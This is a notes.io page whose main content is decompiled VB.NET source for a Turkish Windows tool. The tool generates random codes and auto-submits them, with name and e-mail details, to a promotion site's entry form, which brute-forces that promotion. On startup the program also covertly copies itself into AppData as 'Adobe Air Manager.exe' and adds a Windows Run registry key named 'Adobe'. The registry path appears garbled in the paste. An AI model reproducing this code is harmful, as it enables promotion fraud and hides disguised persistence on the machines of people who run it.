NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

Imports Microsoft.Win32
Imports System
Imports System.ComponentModel
Imports System.Drawing
Imports System.IO
Imports System.Windows.Forms

Namespace WindowsFormsApplication1
Public Class Form1
Inherits Form
' Methods
Public Sub New()
Me.InitializeComponent
End Sub

Private Sub button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Dim str2 As String
Dim random As New Random
Dim index As Integer = random.Next(0, Me.liste.Length)
Dim str4 As String = Me.liste(index)
Dim random2 As New Random
Dim num2 As Integer = random.Next(0, Me.liste.Length)
Dim str5 As String = Me.liste(num2)
Dim str As String = (str4 & str5)
If Me.radioButton1.Checked Then
Me.s1.Text = str
str2 = (str & Me.s2.Text & Me.s3.Text & Me.s4.Text)
Me.textBox2.Text = str2
End If
If Me.radioButton2.Checked Then
Me.s2.Text = str
str2 = (Me.s1.Text & str & Me.s3.Text & Me.s4.Text)
Me.textBox2.Text = str2
End If
If Me.radioButton3.Checked Then
Me.s3.Text = str
str2 = (Me.s1.Text & Me.s2.Text & str & Me.s4.Text)
Me.textBox2.Text = str2
End If
If Me.radioButton4.Checked Then
Me.s4.Text = str
str2 = (Me.s1.Text & Me.s2.Text & Me.s3.Text & str)
Me.textBox2.Text = str2
End If
If Me.radioButton5.Checked Then
Dim random3 As New Random
Dim num3 As Integer = random.Next(0, Me.liste.Length)
Dim str6 As String = Me.liste(num3)
Dim random4 As New Random
Dim num4 As Integer = random.Next(0, Me.liste.Length)
Dim str7 As String = Me.liste(num4)
Dim random5 As New Random
Dim num5 As Integer = random.Next(0, Me.liste.Length)
Dim str8 As String = Me.liste(num5)
Dim random6 As New Random
Dim num6 As Integer = random.Next(0, Me.liste.Length)
Dim str9 As String = Me.liste(num6)
Dim random7 As New Random
Dim num7 As Integer = random.Next(0, Me.liste.Length)
Dim str10 As String = Me.liste(num7)
Dim random8 As New Random
Dim num8 As Integer = random.Next(0, Me.liste.Length)
Dim str11 As String = Me.liste(num8)
Dim str3 As String = String.Concat(New String() { str4, str5, str6, str7, str8, str9, str10, str11 })
Me.s1.Text = (str4 & str5)
Me.s2.Text = (str6 & str7)
Me.s3.Text = (str8 & str9)
Me.s4.Text = (str10 & str11)
Me.textBox2.Text = str3
End If
Me.webBrowser1.Document.GetElementById("txtCode").SetAttribute("value", Me.textBox2.Text)
Me.webBrowser1.Document.GetElementById("txtNameFirst").SetAttribute("value", Me.txtad.Text)
Me.webBrowser1.Document.GetElementById("txtNameLast").SetAttribute("value", Me.txtsoyad.Text)
Me.webBrowser1.Document.GetElementById("txtMail").SetAttribute("value", Me.txtmail.Text)
Me.webBrowser1.Document.GetElementById("txtAddress").SetAttribute("value", "dasdasd dasdasdas 12e124")
Me.webBrowser1.Document.GetElementById("btnStep2Complete").InvokeMember("click")
End Sub

Private Sub button2_Click(ByVal sender As Object, ByVal e As EventArgs)
MessageBox.Show(ChrW(304) & "lgi Olursa Geli" & ChrW(351) & "tirilecek. Proxy Deste" & ChrW(287) & "i Eklenecek. ")
End Sub

Protected Overrides Sub Dispose(ByVal disposing As Boolean)
If (disposing AndAlso (Not Me.components Is Nothing)) Then
Me.components.Dispose
End If
MyBase.Dispose(disposing)
End Sub

Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
Me.webBrowser1.ScriptErrorsSuppressed = True
Me.webBrowser1.Navigate("http://www.meyvenisec.com/")
If Not File.Exists((Environment.GetFolderPath(SpecialFolder.ApplicationData) & "" & Me.appname)) Then
File.Copy(Me.exePath, (Me.hedef & Me.appname))
Registry.SetValue("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun", "Adobe", (Me.hedef & Me.appname), RegistryValueKind.String)
End If
End Sub

Private Sub InitializeComponent()
Dim manager As New ComponentResourceManager(GetType(Form1))
Me.label1 = New Label
Me.button1 = New Button
Me.textBox2 = New TextBox
Me.radioButton1 = New RadioButton
Me.radioButton2 = New RadioButton
Me.radioButton3 = New RadioButton
Me.radioButton4 = New RadioButton
Me.s1 = New TextBox
Me.s2 = New TextBox
Me.s3 = New TextBox
Me.s4 = New TextBox
Me.label2 = New Label
Me.panel1 = New Panel
Me.radioButton5 = New RadioButton
Me.label3 = New Label
Me.panel2 = New Panel
Me.webBrowser1 = New WebBrowser
Me.pictureBox1 = New PictureBox
Me.button2 = New Button
Me.label5 = New Label
Me.txtmail = New TextBox
Me.txtad = New TextBox
Me.txtsoyad = New TextBox
Me.label6 = New Label
Me.label4 = New Label
Me.label7 = New Label
Me.panel1.SuspendLayout
Me.panel2.SuspendLayout
DirectCast(Me.pictureBox1, ISupportInitialize).BeginInit
MyBase.SuspendLayout
Me.label1.AutoSize = True
Me.label1.Location = New Point(3, &HAB)
Me.label1.Name = "label1"
Me.label1.Size = New Size(&H21, 13)
Me.label1.TabIndex = 1
Me.label1.Text = ChrW(199) & ChrW(305) & "kt" & ChrW(305) & " :"
Me.button1.Location = New Point(&H62, &H17D)
Me.button1.Name = "button1"
Me.button1.Size = New Size(&H4B, &H17)
Me.button1.TabIndex = 2
Me.button1.Text = "Ba" & ChrW(351) & "la"
Me.button1.UseVisualStyleBackColor = True
AddHandler Me.button1.Click, New EventHandler(AddressOf Me.button1_Click)
Me.textBox2.Cursor = Cursors.IBeam
Me.textBox2.Enabled = False
Me.textBox2.Location = New Point(&H1F, &HA8)
Me.textBox2.Name = "textBox2"
Me.textBox2.Size = New Size(&H7B, 20)
Me.textBox2.TabIndex = 3
Me.radioButton1.AutoSize = True
Me.radioButton1.Location = New Point(10, 20)
Me.radioButton1.Name = "radioButton1"
Me.radioButton1.Size = New Size(90, &H11)
Me.radioButton1.TabIndex = 6
Me.radioButton1.TabStop = True
Me.radioButton1.Text = "XX-PP-PP-PP"
Me.radioButton1.UseVisualStyleBackColor = True
Me.radioButton2.AutoSize = True
Me.radioButton2.Location = New Point(10, &H2B)
Me.radioButton2.Name = "radioButton2"
Me.radioButton2.Size = New Size(90, &H11)
Me.radioButton2.TabIndex = 7
Me.radioButton2.TabStop = True
Me.radioButton2.Text = "PP-XX-PP-PP"
Me.radioButton2.UseVisualStyleBackColor = True
Me.radioButton3.AutoSize = True
Me.radioButton3.Location = New Point(10, &H42)
Me.radioButton3.Name = "radioButton3"
Me.radioButton3.Size = New Size(90, &H11)
Me.radioButton3.TabIndex = 8
Me.radioButton3.TabStop = True
Me.radioButton3.Text = "PP-PP-XX-PP"
Me.radioButton3.UseVisualStyleBackColor = True
Me.radioButton4.AutoSize = True
Me.radioButton4.Location = New Point(10, &H59)
Me.radioButton4.Name = "radioButton4"
Me.radioButton4.Size = New Size(90, &H11)
Me.radioButton4.TabIndex = 9
Me.radioButton4.TabStop = True
Me.radioButton4.Text = "PP-PP-PP-XX"
Me.radioButton4.UseVisualStyleBackColor = True
Me.s1.Location = New Point(40, 3)
Me.s1.MaxLength = 2
Me.s1.Name = "s1"
Me.s1.Size = New Size(&H18, 20)
Me.s1.TabIndex = 14
Me.s2.Location = New Point(70, 3)
Me.s2.MaxLength = 2
Me.s2.Name = "s2"
Me.s2.Size = New Size(&H18, 20)
Me.s2.TabIndex = 15
Me.s3.Location = New Point(100, 3)
Me.s3.MaxLength = 2
Me.s3.Name = "s3"
Me.s3.Size = New Size(&H18, 20)
Me.s3.TabIndex = &H10
Me.s4.Location = New Point(130, 3)
Me.s4.MaxLength = 2
Me.s4.Name = "s4"
Me.s4.Size = New Size(&H18, 20)
Me.s4.TabIndex = &H11
Me.label2.AutoSize = True
Me.label2.Location = New Point(3, 6)
Me.label2.Name = "label2"
Me.label2.Size = New Size(&H1D, 13)
Me.label2.TabIndex = &H12
Me.label2.Text = "Kod:"
Me.panel1.BackColor = Color.Wheat
Me.panel1.BorderStyle = BorderStyle.FixedSingle
Me.panel1.Controls.Add(Me.radioButton5)
Me.panel1.Controls.Add(Me.label3)
Me.panel1.Controls.Add(Me.radioButton1)
Me.panel1.Controls.Add(Me.radioButton2)
Me.panel1.Controls.Add(Me.radioButton3)
Me.panel1.Controls.Add(Me.radioButton4)
Me.panel1.Location = New Point(&H1F, &H1D)
Me.panel1.Name = "panel1"
Me.panel1.Size = New Size(&H7B, &H85)
Me.panel1.TabIndex = &H13
Me.radioButton5.AutoSize = True
Me.radioButton5.Location = New Point(10, &H6F)
Me.radioButton5.Name = "radioButton5"
Me.radioButton5.Size = New Size(90, &H11)
Me.radioButton5.TabIndex = &H15
Me.radioButton5.TabStop = True
Me.radioButton5.Text = "XX-XX-XX-XX"
Me.radioButton5.UseVisualStyleBackColor = True
Me.label3.AutoSize = True
Me.label3.BackColor = Color.AntiqueWhite
Me.label3.Location = New Point(1, 4)
Me.label3.Name = "label3"
Me.label3.Size = New Size(&H76, 13)
Me.label3.TabIndex = 20
Me.label3.Text = "XX De" & ChrW(287) & "i" & ChrW(351) & "ecek Karekter"
Me.panel2.BackColor = Color.PapayaWhip
Me.panel2.Controls.Add(Me.label7)
Me.panel2.Controls.Add(Me.label4)
Me.panel2.Controls.Add(Me.txtsoyad)
Me.panel2.Controls.Add(Me.txtad)
Me.panel2.Controls.Add(Me.txtmail)
Me.panel2.Controls.Add(Me.label5)
Me.panel2.Controls.Add(Me.panel1)
Me.panel2.Controls.Add(Me.label2)
Me.panel2.Controls.Add(Me.s4)
Me.panel2.Controls.Add(Me.textBox2)
Me.panel2.Controls.Add(Me.label1)
Me.panel2.Controls.Add(Me.s1)
Me.panel2.Controls.Add(Me.s2)
Me.panel2.Controls.Add(Me.s3)
Me.panel2.Location = New Point(12, 12)
Me.panel2.Name = "panel2"
Me.panel2.Size = New Size(&HA1, &H133)
Me.panel2.TabIndex = 20
Me.webBrowser1.Location = New Point(&HB3, 0)
Me.webBrowser1.MinimumSize = New Size(20, 20)
Me.webBrowser1.Name = "webBrowser1"
Me.webBrowser1.Size = New Size(&H3CF, &H222)
Me.webBrowser1.TabIndex = &H15
Me.pictureBox1.BorderStyle = BorderStyle.FixedSingle
Me.pictureBox1.Image = DirectCast(manager.GetObject("pictureBox1.Image"), Image)
Me.pictureBox1.Location = New Point(1, 410)
Me.pictureBox1.Name = "pictureBox1"
Me.pictureBox1.Size = New Size(&HAC, &H88)
Me.pictureBox1.SizeMode = PictureBoxSizeMode.Zoom
Me.pictureBox1.TabIndex = &H16
Me.pictureBox1.TabStop = False
Me.button2.Location = New Point(12, &H17D)
Me.button2.Name = "button2"
Me.button2.Size = New Size(&H4B, &H17)
Me.button2.TabIndex = &H17
Me.button2.Text = "Hakk" & ChrW(305) & "nda"
Me.button2.UseVisualStyleBackColor = True
AddHandler Me.button2.Click, New EventHandler(AddressOf Me.button2_Click)
Me.label5.AutoSize = True
Me.label5.Location = New Point(&H16, &HEA)
Me.label5.Name = "label5"
Me.label5.Size = New Size(&H1A, 13)
Me.label5.TabIndex = &H1A
Me.label5.Text = "Mail"
Me.txtmail.Location = New Point(&H36, &HE7)
Me.txtmail.Name = "txtmail"
Me.txtmail.Size = New Size(100, 20)
Me.txtmail.TabIndex = &H1B
Me.txtad.Location = New Point(&H36, &H101)
Me.txtad.Name = "txtad"
Me.txtad.Size = New Size(100, 20)
Me.txtad.TabIndex = &H1C
Me.txtsoyad.Location = New Point(&H36, &H11B)
Me.txtsoyad.Name = "txtsoyad"
Me.txtsoyad.Size = New Size(100, 20)
Me.txtsoyad.TabIndex = &H1D
Me.label6.AutoSize = True
Me.label6.Location = New Point(15, &H142)
Me.label6.Name = "label6"
Me.label6.Size = New Size(&H9D, &H34)
Me.label6.TabIndex = &H18
Me.label6.Text = "Uyar" & ChrW(305) & " : Ba" & ChrW(351) & "lamadan " & ChrW(246) & "nce A" & ChrW(231) & ChrW(305) & "lan" & ChrW(13) & ChrW(10) & " sayfadan Telefon numaras" & ChrW(305) & "n" & ChrW(305) & ChrW(13) & ChrW(10) & " web sayfas" & ChrW(305) & "n" & ChrW(305) & "n ilgili b" & ChrW(246) & "l" & ChrW(252) & "m" & ChrW(252) & "ne" & ChrW(13) & ChrW(10) & " giriniz" & ChrW(13) & ChrW(10)
Me.label4.AutoSize = True
Me.label4.Location = New Point(&H16, &H101)
Me.label4.Name = "label4"
Me.label4.Size = New Size(&H19, 13)
Me.label4.TabIndex = 30
Me.label4.Text = ChrW(304) & "sim"
Me.label7.AutoSize = True
Me.label7.Location = New Point(6, &H11B)
Me.label7.Name = "label7"
Me.label7.Size = New Size(&H2A, 13)
Me.label7.TabIndex = &H1F
Me.label7.Text = "Soyisim"
MyBase.AutoScaleDimensions = New SizeF(6!, 13!)
MyBase.AutoScaleMode = AutoScaleMode.Font
Me.BackColor = Color.LavenderBlush
MyBase.ClientSize = New Size(&H486, &H223)
MyBase.Controls.Add(Me.label6)
MyBase.Controls.Add(Me.button2)
MyBase.Controls.Add(Me.pictureBox1)
MyBase.Controls.Add(Me.webBrowser1)
MyBase.Controls.Add(Me.panel2)
MyBase.Controls.Add(Me.button1)
Me.ForeColor = SystemColors.ControlText
MyBase.FormBorderStyle = FormBorderStyle.Fixed3D
MyBase.Icon = DirectCast(manager.GetObject("$this.Icon"), Icon)
MyBase.MaximizeBox = False
MyBase.Name = "Form1"
Me.Text = "Yedig" & ChrW(252) & "n Deneme Yan" & ChrW(305) & "lma Tutturma"
AddHandler MyBase.Load, New EventHandler(AddressOf Me.Form1_Load)
Me.panel1.ResumeLayout(False)
Me.panel1.PerformLayout
Me.panel2.ResumeLayout(False)
Me.panel2.PerformLayout
DirectCast(Me.pictureBox1, ISupportInitialize).EndInit
MyBase.ResumeLayout(False)
MyBase.PerformLayout
End Sub


' Fields
Private appname As String = "Adobe Air Manager.exe"
Private button1 As Button
Private button2 As Button
Private components As IContainer = Nothing
Private exePath As String = (Application.StartupPath & "config.dll")
Private hedef As String = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "")
Private label1 As Label
Private label2 As Label
Private label3 As Label
Private label4 As Label
Private label5 As Label
Private label6 As Label
Private label7 As Label
Private liste As String() = New String() { "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "R", "S", "T", "U", "V", "Y", "Z", "0", "2", "3", "4", "5", "6", "7", "8", "9" }
Private panel1 As Panel
Private panel2 As Panel
Private pictureBox1 As PictureBox
Private radioButton1 As RadioButton
Private radioButton2 As RadioButton
Private radioButton3 As RadioButton
Private radioButton4 As RadioButton
Private radioButton5 As RadioButton
Private s1 As TextBox
Private s2 As TextBox
Private s3 As TextBox
Private s4 As TextBox
Private textBox2 As TextBox
Private txtad As TextBox
Private txtmail As TextBox
Private txtsoyad As TextBox
Private webBrowser1 As WebBrowser
End Class
End Namespace
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.